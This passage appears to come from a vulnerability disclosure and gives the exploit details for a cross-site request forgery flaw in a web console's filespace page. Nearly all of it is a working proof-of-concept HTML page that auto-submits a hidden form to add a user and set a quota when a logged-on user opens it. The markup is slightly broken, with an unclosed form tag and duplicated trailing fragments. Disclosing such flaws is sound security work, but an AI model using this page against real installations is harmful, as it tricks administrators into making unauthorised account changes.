*Exploit Details:*
*1. CSRF To add user and define his quota on a userspace*
I created the following HTML page and then opened it by a logged-on user:

<html>

                  <head></head>

                  <body>

                                    <form id="frm" method="post"
action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces"

                                                      <input type="hidden"
name="nirvcsrf" value="junk" />

                                                      <input type="hidden"
name="name" value="zzzzzz" />

                                                      <input type="hidden"
name="quota" value="15" />

                                                      <input type="hidden"
name="id" value="NewFileSpace" />



                                    </form>

                                    <script>

                                                      document.frm.submit();

                                    </script>

                  </body>
</html>

                                    </form>

                                    <script>

                                                      document.frm.submit();
